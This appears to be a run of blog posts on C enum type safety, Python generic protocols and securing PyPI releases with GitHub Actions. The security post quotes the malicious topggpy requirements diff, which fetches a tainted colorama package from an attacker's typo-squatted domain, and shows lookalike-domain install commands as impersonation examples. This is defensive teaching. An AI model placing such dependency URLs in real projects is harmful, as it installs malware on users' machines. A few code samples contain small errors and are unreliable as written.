Table of Contents

The first section is an optional review of what enums are and how they work in C.

• C Enums: Review of C's enumerated types features.
  • The C Standard: Read this section if you are not convinced that C enums are types.
  • Fixed Underlying Type: How to specify the underlying integer type of an enumerated type.

The next section investigates the compiler options that provide compile time type safety and prevent run time errors.

• Type Safety
  • Exhaustiveness: Options to ensure that all enumerations are handled by a switch.
  • Type Checking: Options to ensure that function parameters are type checked.

C Enums

C enums enable the definition of new types that are collections of symbols. Each symbol is mapped to an integer value. The integer value may be arbitrary or it may be a useful part of the representation.

For example, an enumeration of colors might look like this:

enum color {
    COLOR_RED = 0,
    COLOR_GREEN = 1,
    COLOR_BLUE = 2,
};

The value of 0 being given to red, 1 to green, and 2 to blue is arbitrary—the values used could be any set of three numbers. Because the use of unique integers with arbitrary values is so common, an enum member definition that does not include the value will automatically be assigned the preceding value plus one:

enum color {
    COLOR_RED = 0,
    COLOR_GREEN,  // automatically 1
    COLOR_BLUE,  // automatically 2
};

This is simpler, and in the case where new symbols may appear anywhere in the definition, it is preferred, because it will prevent accidental creation of shared values when unique values are required.

On the other hand, an enumeration of speed limits may map to constant integer values that are useful and not-at-all arbitrary:

enum speed_limit {
    SPEED_LIMIT_30_KPH = 30,
    SPEED_LIMIT_60_KPH = 60
    SPEED_LIMIT_90_KPH = 90,
};

Lastly, the enumerated values do not need to be unique. Multiple symbols can map to the same literal integer, though the intent is often more clear by mapping to the symbol rather than the literal integer:

enum font {
    FONT_TIMES_NEW_ROMAN = 0,
    FONT_HELVETICA,
    FONT_DEFAULT = FONT_HELVETICA,  // instead of 1
};

All of the examples "namespace" the enum by prefixing members with the name of the type—the name of the collection—as is common practice in C because the type itself cannot be used as the namespace. That is, it's not possible to use enum color::RED. Don't dismay! More sophisticated strategies to enforce type safety are the subject of this very article.

The C Standard

The C standard states that enumerated types (enums) that are defined by the programmer are unique types.

In the draft version (ISO/IEC 9899:2024 (en) — N3220) of C23, we find a definition for C enumerations under section 6.2.5 Types (p. 40):

An enumeration comprises a set of named integer constant values. Each distinct enumeration constitutes a different enumerated type.

It's important to note that C23 enables specifying the underlying type of the enumeration, which is a very good idea. From section 6․4․4․4 Enumeration constants (p. 63):

An identifier declared as an enumeration constant for an enumeration without a fixed underlying type has either type int or the enumerated type, as defined in 6․7.3.3. An identifier declared as an enumeration constant for an enumeration with a fixed underlying type has the associated enumerated type.

And the definition of "enumerated type" from section 6․7.3.3 Enumeration specifiers (p. 109):

2 All enumerations have an underlying type. The underlying type can be explicitly specified using an enum type specifier and is its fixed underlying type. If it is not explicitly specified, the underlying type is the enumeration’s compatible type, which is either char or a standard or extended signed or unsigned integer type.

So actually, it's probably int, or maybe not, because it's implementation-defined (i.e. up to the authors of GCC, Clang, etc.):

13 For all enumerations without a fixed underlying type, each enumerated type shall be compatible with char or a signed or an unsigned integer type that is not bool or a bit-precise integer type. The choice of type is implementation-defined but shall be capable of representing the values of all the members of the enumeration.

The behavior is muddied further with compiler options like -fshort-enums that will use the smallest possible integer representation for the enumeration's underlying type.

Fixed Underlying Type

Fortunately, there is no (good) reason to use -fshort-enums since C23 allows specifying a fixed underlying type for each enumerated type definition:

#include <stdint.h>

enum eight_bit : uint8_t {
    HEX00 = 0x00,
    HEX01 = 0x01,
};

And, because it's in the C standard, compilers must generate an error if one of the enumeration constants doesn't fit in the fixed underlying type:

#include <stdint.h>

enum eight_bit : uint8_t {
    HEX100 = 0x100
};

GCC 14.2.0 (unknown-eabi):

<source>:4:14: error: enumerator value outside the range of underlying type
    8 |     HEX100 = 0x100,
      |              ^~~~~
Compiler returned: 1

Type Safety

Because C enums are types, they should afford some degree of type safety. Type safety provides compile time assurances that improve program expressiveness, correctness, size, and performance. However, compilers do not provide type safety for C enums by default.

The following examples were tested with two compilers: ARM GCC 14.2.0 (unknown-eabi) and armv7-a clang 18.1.0. The compiler and program output is the same between the two compilers unless otherwise noted.

Exhaustiveness

Generally, when an enum is used in a switch statement, the intention is that all constants of the enumerated type are matched by a case. If that's not the intention, then it's likely that the enum type should be constrained to a more narrow collection of constants. When the matching handles every possible case, it is said to be exhaustive.

Here's an example with a runtime error lurking—because the switch is not exhaustive, it is possible to hit the assert(0) after the switch!

Interact with this example on Compiler Explorer

#include <assert.h>
#include <stdint.h>
#include <stdio.h>

enum event : uint8_t {
    EVENT_A = 0,
    EVENT_B,
};

enum result : uint8_t {
    RESULT_A = 0,
    RESULT_B,
};

enum result handle_event(enum event event) {
    switch (event) {
        case EVENT_A:
            return RESULT_A;
    }
    assert(0);
}

int main(void) {
    enum result result = handle_event(0);

    printf("%d\n", result);
}

Compiler options: -Werror:

Compiler returned: 0

Program output:

Program returned: 0
Program stdout
0

The handle_event() function implies that it can handle all members of enum event. In reality, the programmer has failed to match the EVENT_B case, so passing EVENT_B, or 1, as the function argument will cause a runtime error:

int main(void) {
    enum result result = handle_event(1);

    printf("%d\n", result);
}

Compiler options: -Werror:

Compiler returned: 0

Program output:

Program returned: 139
Program stderr
output.s: /app/example.c:20: handle_event: Assertion `0' failed.
Program terminated with signal: SIGSEGV

Fortunately, simply adding -Wall covers this common mistake (-Wextra is added for completeness).

GCC -Werror -Wall -Wextra:

<source>: In function 'handle_event':
<source>:16:5: error: enumeration value 'EVENT_B' not handled in switch [-Werror=switch]
   16 |     switch (event) {
      |     ^~~~~~
cc1: all warnings being treated as errors
Compiler returned: 1

Clang -Werror -Wall -Wextra:

<source>:16:13: error: enumeration value 'EVENT_B' not handled in switch [-Werror,-Wswitch]
   16 |     switch (event) {
      |             ^~~~~
1 error generated.
Compiler returned: 1

Importantly, we can reintroduce this runtime bug by adding a default: case:

enum result handle_event(enum event event) {
    switch (event) {
        case EVENT_A:
            return RESULT_A;
        default:
            assert(0);
    }
}

Compiler options -Werror -Wall -Wextra:

Compiler returned: 0

The conclusion is that the use of a default: case in the switch statement is counterproductive to type safety.

Type Checking

By adding -Wall and avoiding use of a default: case, the switch statement over the enum event is exhaustive, therefore it is impossible for a runtime error to occur when the argument given to handle_event() is guaranteed to be an enum event. However, because the GCC and Clang compilers do not strictly check the type given to handle_event(), the program remains vulnerable to other run time errors.

In this example, 2 is passed to handle_event() without generating a compile time error. At run time, it is found that 2 is not handled by the switch, causing the assertion to be hit.

Interact with this example on Compiler Explorer

#include <assert.h>
#include <stdint.h>
#include <stdio.h>

enum event : uint8_t {
    EVENT_A = 0,
    EVENT_B,
};

enum result : uint8_t {
    RESULT_A = 0,
    RESULT_B,
};

enum result handle_event(enum event event) {
    switch (event) {
        case EVENT_A:
            return RESULT_A;
        case EVENT_B:
            return RESULT_B;
    }
    assert(0);
}

int main(void) {
    enum result result = handle_event(2);

    printf("%d\n", result);
}

Compiler options: -Werror -Wall -Wextra:

Compiler returned: 0

Program output:

Program returned: 139
Program stderr
output.s: /app/example.c:22: handle_event: Assertion `0' failed.
Program terminated with signal: SIGSEGV

-Wextra has added -Wenum-conversion, but it doesn't quite do what we want:

Warn when a value of enumerated type is implicitly converted to a different enumerated type. This warning is enabled by -Wextra in C.

-Wenum-conversion will generate a warning if we provide an incompatible enum as argument, even though both the underlying type and value are the same:

    enum result result = handle_event(RESULT_A);

GCC -Werror -Wall -Wextra:

<source>:26:39: error: implicit conversion from 'enum result' to 'enum event' [-Werror=enum-conversion]
   26 |     enum result result = handle_event(RESULT_A);
      |                                       ^~~~~~~~

Instead, what we're looking for is an error caused by passing the underlying type—the integer literal 2, in the example—instead of the enumerated type as argument. It is provided by -Wall in the form of Wenum-int-mismatch, but there is a catch in the fine print:

Warn about mismatches between an enumerated type and an integer type in declarations...

...In C, an enumerated type is compatible with char, a signed integer type, or an unsigned integer type. However, since the choice of the underlying type of an enumerated type is implementation-defined, such mismatches may cause portability issues. In C++, such mismatches are an error. In C, this warning is enabled by -Wall and -Wc++-compat.

So, in GCC, we need -Wc++-compat for the desired compile time type safety.

GCC -Werror -Wall -Wextra -Wc++-compat:

<source>:26:39: error: enum conversion when passing argument 1 of 'handle_event' is invalid in C++ [-Werror=c++-compat]
   26 |     enum result result = handle_event(2);
      |                                       ^
<source>:15:13: note: expected 'enum event' but argument is of type 'int'
   15 | enum result handle_event(enum event event) {
      |             ^~~~~~~~~~~~

Clang's -Wassign-enum prevents an error when the integer literal is out of bounds, but it does not cover the general case of enforcing usage of the enum type rather than the underlying type.

Clang -Werror -Wall -Wextra -Wassign-enum:

source>:26:39: error: integer constant not in range of enumerated type 'enum event' [-Werror,-Wassign-enum]
   26 |     enum result result = handle_event(2);
      |                                       ^

If you know of a Clang compiler option that can enforce this, let me know in the comments! One way to improve things is to use the C++ compiler instead of the C compiler.

Clang C++ armv7-a clang 18.1.0 (no options needed):

<source>:26:26: error: no matching function for call to 'handle_event'
   26 |     enum result result = handle_event(1);
      |                          ^~~~~~~~~~~~
<source>:15:13: note: candidate function not viable: no known conversion from 'int' to 'enum event' for 1st argument
   15 | enum result handle_event(enum event event) {
      |             ^            ~~~~~~~~~~~~~~~~

Even though the integer literal is in range of the enum, use of the integer literal still causes a compile time error as desired.

Of course it is possible to cast any random value to the enum type and reintroduce the run time error. Why would a programmer do this? This is a non-issue when the use of casts is avoided altogether—a topic for another article.

If an enum value is not known at compile time (e.g. it's from the user or received on a transport), then the programmer should write a validation function or macro for use when assigning these "unknown values" to the enum type.

Conclusion

While the C standard may not provide guarantees about enum type safety, the specification lays the groundwork on which compilers have built meaningful assurances of run time correctness.

By avoiding use of a default case and adding the -Werror -Wall -Wextra -Wc++-compat compiler options, it is "impossible to generate a run time error". Yet, if that is true, then it raises the question:

If a run time error is not possible, can assert(0) be replaced with __builtin_unreachable()?

enum result handle_event(enum event event) {
    switch (event) {
        case EVENT_A:
            return RESULT_A;
        case EVENT_B:
            return RESULT_B;
    }
    __builtin_unreachable();
}

It certainly compiles and results in smaller code size. But, without the set of compiler options -Werror -Wall -Wextra -Wc++-compat, this is precariously vulnerable to undefined behavior:

If control flow reaches the point of the __builtin_unreachable, the program is undefined.

I cannot answer this question confidently, but I can say that I will continue to use defensive runtime assertions and/or error code returns instead of __builtin_unreachable(). The benefits of compile time type safety are not solely found in code size and efficiency, but also in the labor that is saved by preventing run time errors.

You can fiddle with the final type safe example at Compiler Explorer.

If you are implementing a protocol that defines a Response (or Error) Type for every Request, it may seem like lots of code will be written just to satisfy the type system. Fortunately, with a Generic Protocol, you can write a single request function that is type safe for all implementations of Request and Response:

def request(request: Request[TResponse, TError]) -> TResponse | TError

The Problem and the Goal

For example, if we make a FooRequest, then our request function should know that it is returning a FooResponse.

foo_response = request(FooRequest())
reveal_type(foo_response)  # we expect FooResponse

We could satisfy the type system explicity:

def request_foo(foo: FooRequest) -> FooResponse:
    # do side effects on the transport layer
    return FooResponse()

The problem is that we would need to write a bunch of request functions that satisfy all the possible types. Next would be def request_bar(bar: BarRequest) -> BarResponse:, and on and on!

But this is silly, because at compile-time (i.e. static analysis time), the type of literal arguments is known. What we really want is:

def request(request: "Type of request") -> "Type of the response to request":

Handling Request and Response Types

Imagine we have Request and Response interfaces that are implemented by Foo and Bar. Each Request implementation represents some request to a server, and the Response implementation represent the server's deserialized response. Below, I've filled in the implementations with ... because they would be unique to each specification, transport, etc.

class Request: ...

class Response: ...

class FooRequest(Request): ...
class FooResponse(Response): ...
class Foo(FooRequest):
    Response = FooResponse

class BarRequest(Request): ...
class BarResponse(Response): ...
class Bar(BarRequest):
    Response: BarResponse

Now we have Foo and Bar classes with the class attribute Response that points to the Type of Response. Manual usage could look like this:

raw_data = send(Foo())
foo_response = Foo.Response(raw_data)

Of course, because the Type of the Response is contained within the Request class, a function could handle this generically.

def request(request: Request) -> Response:
    raw_data = send(request)
    # depends on how deserialization is implemented:
    return request.Response.loads(raw_data)

This is not bad! The Python type system understands that the request function takes some implementation of the Request Type, and returns some implementation of the Response Type. And yet, the type system does not know what request was sent, and it especially doesn't know what response was received. We can fix that!

foo_response = request(Foo())
reveal_type(foo_response)  # Response 😔
bar_response = request(Bar())
reveal_type(bar_response)  # Response 😔

Note: you could get more flexibility by adding a Request class variable to the class instead of inheriting from the Request.

The Request Generic Protocol

There is a simple improvement that we can make to satisfy our goal:

def request(request: "Type of request") -> "Type of the response to request":

We will add a Generic Protocol so that the type checker can infer the type of the Response from the type of the Request before runtime.

from typing import Protocol, Type, TypeVar

TResponse = TypeVar("TResponse", bound=Response)

class RequestProtocol(Protocol[TResponse]) -> TResponse:
    Response: Type[TResponse]

Note: Protocol[T, ...] is shorthand for Protocol, Generic[T, ...], link

Now, the we can achieve our goal of communicating that the Type of a Response is dependent on the Type of a Request, information that is known before runtime:

def request(request: RequestProtocol[TResponse]) -> TResponse:
    ...

Usage would look like this and the static typing will work as intended:

foo_response = request(Foo())
reveal_type(foo_response)  # FooResponse 🤩
bar_response = request(Bar())
reveal_type(bar_response)  # BarResponse 🤩

Real World Example

A production OSS example is the smpclient library which implements firmware updates and other controls of small embedded systems over serial (USB), BLE, and UDP (network). The request method of the SMP Client maps a generic Request to the corresponding Response, ErrorV1, and ErrorV2 of the Simple Management Protocol specification.

Reality is a lot more complicated than Request -> Response. So how do we deal with a specification that might fail in various ways while maintaining type safety?

Exhaustive Pattern Matching

I've put together an example that you can run on mypy playground or directly in your own Python interpreter.

It is a slightly more realistic expansion of the Generic Protocol described above. The main difference is that this server can return an Error as well as a Response. In order to prevent runtime errors, we'd like to ensure that for every Request, we've handled every Response. Fortunately, this is doable with Python 3.10+'s Structural Pattern Matching:

match status := await request(Status()):
    case StatusResponse():
        reveal_type(status)
    case StatusError():
        reveal_type(status)
    case _:
        assert_never(status)

The case _: statement, as in Rust, is followed if the pattern is unmatched above. Executing typing.assert_never(status) here provides a compile-time check that every return type of the request function has been handled.

Note: The match statement will not work in Python versions before 3.10. Python 3.9 EOL is in October of 2025, so if you are maintaining a library, it may be most polite to wait until Python 3.9 is retired.

Check it out on mypy Playground or take a look at the corresponding GitHub Gist below:

Conclusion

I believe that all Python libraries benefit from 100% static typing coverage. In this post, I showed how Generic Protocols can alleviate some of the repetition encountered as more advanced type system patterns are implemented in Python. Every error that gets caught by the type system prevents a runtime bug, saving time and money.

Thanks for reading! Do you use Protocols and Generics in Python? What approaches do you take for handling de/serialization of custom communications protocols?

Not only did everything go smoothly, but since then, many colleagues have also moved from native Linux or traditional VMs to WSL2 and seen great results.

Continue reading at the Interrupt...

GitHub Actions are automated routines that run on GitHub's sandboxed virtual machine servers, called "runners", and are (probably) free for your Public open source projects!

Security

Let's first walk through the security threats that we will mitigate when deploying an app to PyPI. Here is a list of threats that could put your users, and you, at risk:

1. An attacker poses as a contributor and merges malicious code to your package via a Pull Request.
2. An attacker hacks PyPI so that when a user tries to install your app they install a malicious package instead.
3. An attacker logs in to your GitHub account and replaces your app's repository with malicious code or uses a leaked Personal Access Token (PAT) or Secure Shell (SSH) key to push directly to the repository.
4. An attacker logs in to your PyPI account and replaces your package with malicious code.
5. An attacker creates a malicious Python package with the same name as yours and distributes it outside of PyPI.
6. An attacker uploads a malicious Python package to PyPI with a name that is similar to yours ("typo squatting"), the intention being to trick users into downloading the wrong package.
7. An attacker has compromised one of your upstream dependencies, a "supply chain attack", so that your users are affected when importing or running your package.

Once we've learned how to mitigate each of these risks, we will show how applying them would have prevented a recent supply chain attack in which impacted 170,000 Python users.

1. Reviewing Pull Requests

Threat: An attacker poses as a contributor and merges malicious code to your package via a Pull Request.

By default, GitHub will not allow any modification of your repository without your explicit approval. This threat can be minimized by carefully reviewing all contributions to your repository and only elevating a contributor's privileges once they are a trusted partner.¹ If you believe that a PR is attempting to inject a security vulnerability in your app, then you should report the offending account.

2. Vulnerability in the Package Repository (PyPI)

Threat: An attacker hacks PyPI so that when a user tries to install your app, they install a malicious package instead.

According to Stack Overflow's 2023 Developer Survey, 45.32% of professional developers use Python.² Every industry and government in the world would be impacted by this threat and therefore has a financial incentive to keep PyPI secure.

PyPI completed a security audit in late 2023 that found and remediated some non-critical security risks.³

Authentication

Threats #3-#6 all fall under the category of authentication: proving that your app, once received by your user, is an unmodified copy of your work - that it is authentic. Keep in mind that your user's trust is strengthened by your lack of anonymity. If the application can be authenticated, then it can be permanently tied to your GitHub account, your PyPI account, then your email addresses, and ultimately, to you. Legal action can be taken against you, which is a good reason not to distribute malware on PyPI.

So, how can we prove that the software that a user receives when they type pipx install jpsapp is authentic? Let's look at each threat individually.

3. Protecting Your GitHub Account

Threat: An attacker logs in to your GitHub account and replaces your app's repository with malicious code or uses a leaked Personal Access Token (PAT) or Secure Shell (SSH) key to push directly to the repository.

Protection of your GitHub account web login is the same as it would be for any other sensitive website: use a strong password that is unique to the website (use a password manager) and use two-factor authentication (2FA).

There is a more direct path for an attacker to take, however, which is to obtain one of your SSH keys or Personal Access Tokens.

SSH Keys

The starting point is that your SSH keys should never leave your device - not in an email, a text message, over a network share, and especially not as a commit to a remote repository.

Therefore, the threat is limited to the attacker gaining physical access to your PC. Again, common mitigations come into play: enable your computer's lock screen after a short inactivity timeout, use a strong password, and enable full disk encryption. The disk encryption is important in the event that your computer is stolen because it will prevent an attacker from accessing the contents of your disk by physically removing your storage drive and mounting it on their own machine. In the event that an attacker does have physical access to your PC, you can still prevent the attacker from gaining access to your repositories by going to GitHub and revoking any SSH keys from the compromised computer.

Personal Access Tokens

Personal Access Tokens (PATs) are an excellent way of providing temporary authentication to a repository from a computer that does not have access to your SSH key. This is much better than simply sharing the SSH key since it prevents your SSH key from leaking. PATs can be created with a specific security scope and include an expiration date. However, even with all of these features in mind, creating many PATs and forgetting to delete them effectively leaks authentication all over the place - so delete them right after you no longer need them!

In summary, keep your SSH keys and PATs secret and regularly audit your GitHub account to revoke access from any SSH keys or PATs that are no longer needed.

4. Protecting your PyPI Account

Threat: An attacker logs in to your PyPI account and replaces your package with malicious code.

Protection of your PyPI account web login is the same as it would be for any other sensitive website: use a strong password that is unique to the website (use a password manager) and use two-factor authentication (2FA).

5. Package Impersonation

Threat: An attacker creates a malicious Python package with the same name as yours and distributes it outside of PyPI.

By default, tools like pip and pipx will search PyPI for the package specified. To install a package from an outside source, pip would need to be told explicitly to point to the location of the infected package.

From the command line:

pip install https://m.piqy.org/packages/ac/1d/jpsapp-1.0.0.tar.gz

Or in pyproject.toml:

[dependencies]
jpsapp = { url = "https://m.piqy.org/packages/ac/1d/jpsapp-1.0.0.tar.gz" }

You can mitigate this threat by providing clear and explicit instructions about obtaining your package. I recommend adapting this example and placing it prominently in your README.md and other documentation.

## Install

`jpsapp` is [distributed by PyPI](https://pypi.org/project/jpsapp/)
and can be installed with [pipx](https://github.com/pypa/pipx):
```
pipx install jpsapp
```

6. Typo Squatting

Threat: An attacker uploads a malicious Python package to PyPI with a name that is similar to yours ("typo squatting"), the intention being to trick users into downloading the wrong package.

For example, a user intending to install matplotlib may make the typo matplotli and accidentally install the wrong package. In a sophisticated supply chain attack, the matlplotli package would be mostly identical to the latest matplotlib package with the only differences being obfuscated malware installation and execution.

Protect Yourself

By making a typo when adding a dependency to your package, you could compromise not only your own PC, but the PC's of all your users. Whenever possible, copy and paste the dependency name from the official documentation. When in doubt, verify the package name directly at PyPI.org.

Protect Your Users

It's impossible to completely mitigate one of your users making a typo, but you can make it easy for them to avoid the possibility altogether by providing clear and explicit instructions for installing your package as an application or as a dependency.

When using code blocks in markdown documentation, it is preferred to put your code in blocks using three backticks rather than one. This format makes it easier to select for copy and paste and GitHub will provide a clickable "copy" shortcut on the right side of the code block, as seen below.

Make certain that the command you've added to the documentation is runnable as written. For example, adding prefixes like $> or >>> would make your command example unusable without modification and subsequently reintroduce the typo squatting threat.

7. Supply Chain Attack

Threat: An attacker has compromised one of your upstream dependencies, a "supply chain attack", so that your users are affected when importing or running your package.

You've done everything right. But, one day when you're updating your project's dependencies, you unknowingly infect your package and all of your users because one of your dependencies fell victim to one of the threats described above.

It is your responsibility as the package maintainer to select broadly-used and well-maintained dependencies for your application. Be wary of packages that do not have recent commits (🌈maybe they have no bugs🌈) or low user counts. Always research a variety of options that meet your requirements and double check that Python does not have a builtin that works for you!

Case Study: topggpy Supply Chain Attack

On March 25th, 2024, Checkmarx broke the news of a successful supply chain attack that affected more than 170,000 Python users.

Once infected, the attackers would have remote access to the user's Browser Data, Discord Data, Cryptocurrency Wallets, Telegram Sessions, User Data and Documents Folders, and Instagram Data.⁴ I suggest reading the entire article before returning here to see how every aspect of the attack would have been mitigated by the strategies discussed above.

Protecting Your GitHub Account

The primary failure for topggpy was editor-syntax's GitHub account being compromised. Above, we discussed industry standard approaches utilizing password managers and two-factor authentication.

Reviewing Pull Requests

editor-syntax was not the account owner of the topggpy repository yet had write access to the repository. Granting a Collaborator write permissions while lacking the requirement for a Pull Request and Approval is a non-default GitHub Security configuration. Remember that contributors do not need to have any special privileges to your repository in order to make Pull Requests from their own Fork. When you are ready to add a Collaborator to your project, consider restricting their permissions to the bare minimum required for their role.

Authentication

Delivery of the malware was accomplished by delivering users an inauthentic but fully functional version of the colorama package that would fetch, install, and execute the malware in the background simply by using the topggpy package as normal.

If the changes that editor-syntax's compromised account made had been required to go through Pull Request and Approval, the attack would have been stopped. The offending commit is here:

- aiohttp>=3.6.0,<3.9.0
+ https://files.pythonhosted.org/packages/18/93/1f005bbe044471a0444a82cdd7356f5120b9cf94fe2c50c0cdbf28f1258b/aiohttp-3.9.3.tar.gz
+ https://files.pythonhosted.org/packages/7f/45/8ae61209bb9015f516102fa559a2914178da1d5868428bd86a1b4421141d/base58-2.1.1.tar.gz
+ https://files.pypihosted.org/packages/ow/55/4862e96575e3fda1dffd6cc46f648e787dd06d97/colorama-0.4.3.tar.gz
+ https://files.pythonhosted.org/packages/e0/b7/a4a032e94bcfdff481f2e6fecd472794d9da09f474a2185ed33b2c7cad64/construct-2.10.68.tar.gz
+ https://files.pythonhosted.org/packages/7e/86/2bd8fa8b63c91008c4f26fb2c7b4d661abf5a151db474e298e1c572caa57/DateTime-5.4.tar.gz

In this case it loads the tainted colorama package from a non-PyPI, typo-squatted domain, files.pypihosted.org, that was registered by the attackers to impersonate authentic packages.

Note that files.pythonhosted.org and pypi.org are both authentic PyPI domains. As discussed in Package Impersonation, package dependencies generally should not point to URLs and instead let the package manager resolve the resource. Violation of this approach would have been immediately obvious during review of the Pull Request and the attack would have been thwarted.

Automated PyPI Publishing Tutorial

Now that we've discussed some of the security risks involved in distributing a Python package, let's create a secure workflow that automates many of the tasks that would otherwise introduce opportunities for user error.

Create an Account at PyPI.org

Create an account at PyPI.org and remember to use a strong password that is secured by a password manager and enable 2FA, as discussed above.

Add a Trusted Publisher at PyPI.org

Once you are logged in to your account, select "Your projects" from the account dropdown in the upper right-hand corner. Click on "Publishing" and scroll down to "Add a new pending publisher".

Under the "GitHub" tab, fill out the fields following the example below.

• PyPI Project Name: jpsapp. Your package name as defined by the name field of your pyproject.toml and the directory name of the package.
• Owner: JPHutchins. Your GitHub User or Organization name
• Repository name: python-distribution-example. The name of the repository as it is in the GitHub URL, e.g. github.com/JPHutchins/python-distribution-example
• Workflow name: release.yaml. The workflow will be located at .github/workflows/release.yaml.
• Environment name: pypi. We will configure this environment at github.com

Click "Add"

Define the Release Action

A GitHub Release Action is a Workflow that is triggered by creating a release of your app. For example, if you've made some important changes over a few weeks that you'd like your users to benefit from, tagging and releasing the new version of your app is the best way to accomplish it.

Because this is free and open source software, there will be no fees for the cloud virtual machines provided by GitHub.

All code snippets belong to the file release.yaml, the complete version of which you can find here. The original example is from this excellent article

name: Release

This will be the name displayed in the GitHub Actions interface.

env:
  name: jpsapp

This adds a variable to the workflow, accessible via ${{ env.name }}. It is a simple convenience that allows the rest of this workflow definition to be reused in other repositories by simply changing the name on this line instead of throughout the file.

on:
  release:
    types: [published]

Declares that the workflow should run whenever a new release is published.

jobs:

Everything indented under the jobs: section are the definitions of the actions to perform.

  build-dist:
    name: 📦 Build distribution 
    runs-on: ubuntu-latest

Declare a job named build-dist with friendly name "📦 Build distribution" that will run on an Ubuntu (Linux) runner.

    steps:

Everything indented under the steps: section are the steps to perform for this job.

    - uses: actions/checkout@v4

This is almost always the first step in a job that will make use of the repository source code. This may sound obvious, but it's best to be explicit about what resources are being made available, so it is required.

Note: if you are using the Git tag as the Single Source of Truth for your package version, then you'll probably need a step like run: git fetch --prune --unshallow --tags to make sure that you have the latest tags on the runner. See the more sophisticated build scripts and workflows of a real app, like smpmgr, for details.

    - uses: actions/setup-python@v5
      with:
        python-version: "3.x"
        cache: "pip"

Setup Python using the default version and create a cache of the pip install. The cache will allow workflows to run faster by reusing the global python environment installed by pip in the next step, assuming that the dependencies have not changed since the cache was created.

    - run: pip install .[dev]

Install the development dependencies. The workflow runs on a fresh Python environment, so we can simplify things somewhat by not using the venv.

    - run: python -m build

Build the sdist and wheel of your app. The files generated by this kind of build system are called "artifacts", and these are the files that will be sent to PyPI.

    - name: Store the distribution packages
      uses: actions/upload-artifact@v4
      with:
        name: python-package-distributions
        path: dist/

Upload the sdist and wheel, which are located at dist/, as artifacts so that they are available for download in the GitHub Actions interface and easily accessible from the next job using actions/download-artifact.

  publish-to-pypi:
    name: Publish Python 🐍 distribution 📦 to PyPI
    runs-on: ubuntu-latest
    needs: build-dist
    environment:
      name: pypi
      url: https://pypi.org/p/${{ env.name }}
    permissions:
      id-token: write  # IMPORTANT: mandatory for trusted publishing

Declare another job for the Ubuntu runner, publish-to-pypi, with the friendly name "Publish Python 🐍 distribution 📦 to PyPI", that runs after the job build-dist has completed successfully.

This job also uses the environment, pypi, that we created earlier, and defines the url variable in the environment. The url, https://pypi.org/p/${{ env.name }}, will resolve to https://pypi.org/p/jpsapp, and will be used by the pypa/gh-action-pypi-publish step later in this job. You can read more about environments on the GitHub Docs.

Finally, the job requires the id-token: write permission to allow the OpenID Connect (OIDC) JSON Web Token (JWT) to be requested from GitHub by the pypa/gh-action-pypi-publish action. This OIDC token provides proof to PyPI that the package distribution upload is authentic; that is, it ties the release directly to the GitHub workflow run and thereby to your GitHub account. This kind of temporary token authentication prevents using your GitHub or PyPI account credentials directly, which could create an opportunity for them to leak.

    steps:
      - name: Download all the dists
        uses: actions/download-artifact@v4
        with:
          name: python-package-distributions
          path: dist/
      - name: Publish distribution 📦 to PyPI
        uses: pypa/gh-action-pypi-publish@release/v1

The first step downloads the dists that were built and uploaded by the build-dist job and the second step uploads those dists to the Python Package Index.

  publish-dist-to-github:
    name: >-
      Sign the Python 🐍 distribution 📦 with Sigstore
      and upload them to GitHub Release
    needs:
    - publish-to-pypi
    runs-on: ubuntu-latest

    permissions:
      contents: write  # IMPORTANT: mandatory for making GitHub Releases
      id-token: write  # IMPORTANT: mandatory for sigstore

    steps:
    - name: Download all the dists
      uses: actions/download-artifact@v4
      with:
        name: python-package-distributions
        path: dist/
    - name: Sign the dists with Sigstore
      uses: sigstore/gh-action-sigstore-python@v2.1.1
      with:
        inputs: >-
          ./dist/*.tar.gz
          ./dist/*.whl
    - name: Upload artifact signatures to GitHub Release
      env:
        GITHUB_TOKEN: ${{ github.token }}
      # Upload to GitHub Release using the `gh` CLI.
      # `dist/` contains the built packages, and the
      # sigstore-produced signatures and certificates.
      run: >-
        gh release upload
        '${{ github.ref_name }}' dist/**
        --repo '${{ github.repository }}'

This job signs the dists and uploads the dists, signatures, and certificates to the GitHub Release. While it's best for your users to install your app via pipx, this does allow users to verify the authenticity of the dists that are hosted on the GitHub Release page using instructions provided by Python.

Take a look the complete release.yaml and use it as a template for your own applications or libraries.

Create the Release

All of the hard work of automating the PyPI release process is out of the way and now it's time to deploy!

About Versioning

When your application or library is ready for a release, the first step is tagging the version in some way. PyPI is only going to care about the version line in your pyproject.toml, while GitHub will want a Git tag for the release. There may be many differences of opinion on how to make sure that these match, but most will agree that these should match.

The simplest approach is to make a commit that bumps the version in pyproject.toml with a commit message like "version: 1.0.1". Immediately follow that up with a git tag that matches: git tag 1.0.1 and git push --tags (use an annotated tag if you prefer), or create the tag from GitHub, as will be demonstrated below. The downside here is that the lack of a Single Source Of Truth (SSOT) creates room for human error, or simply forgetfulness, when tagging release versions.

For that reason, many approaches for establishing a SSOT have been developed, and you may find one that you prefer. Some examples are the poetry-version-plugin and setuptools-git-versioning. GitPython can be used to enforce strict release rules. The plugin will fill in the Python package version according to the git tag, and GitPython can be used to enforce that the version matches, that the repository is not dirty and has no changes on top of the tag, or anything else that you don't want to mess up. For a real world example, take a look at smpmgr's build scripts.

GitHub Release Walkthrough

At your GitHub repository's main page, click "Releases"

Click "Draft a new release"

Drop down "Choose a tag" and select a tag that you've already created or create a new one. It should match the version in your pyproject.toml!

Use the version as the Release Title

Click on "Generate release notes" and then edit the release markdown with any other release information that is important to your users.

When you are done, click "Publish release" to create the Release page and start the Release Workflow.

You can view your new release page, but it won't have any assets other than a snapshot of your repository at this tag, which is default GitHub release behavior.

To check on the progress of your Release Workflow, click on "Actions".

Now, in the "All workflows" view, you'll see a list of actions that have succeeded (green), failed (red), or are currently running (yellow). This screenshot shows that our recent release action is still running.

Clicking on the running workflow brings up the "Summary" where you can check in on the progress of workflows and view logs. This is particularly useful when a workflow fails!

Once the workflow has completed successfully, all artifacts will have been uploaded to the release page that only had two assets before.

Success of the workflow also means that your package has been published to PyPI.

Test the Release

After the GitHub Release Workflow has completed, you will find the latest version of your package at pypi.org/p/<YOUR APP>, e.g. pypi.org/p/jpsapp.

You can install it with pip, but because we are focused on applications, not libraries, there is a much better tool: pipx. pipx provides a much needed improvement to pip when installing Python applications and libraries for use, rather than development.

pipx installation instructions

To test your application with pipx, do:

pipx install <YOUR APP>

For example, try:

pipx install jpsapp

<YOUR APP> will be in your system PATH and can be run from any terminal. It can be upgraded to the latest version with:

pipx upgrade <YOUR APP>

Conclusion

With a release workflow that is securely automated by a GitHub Action, you can quickly iterate on your application or library and provide clear instructions to your users about how to receive an authentic copy of your software.

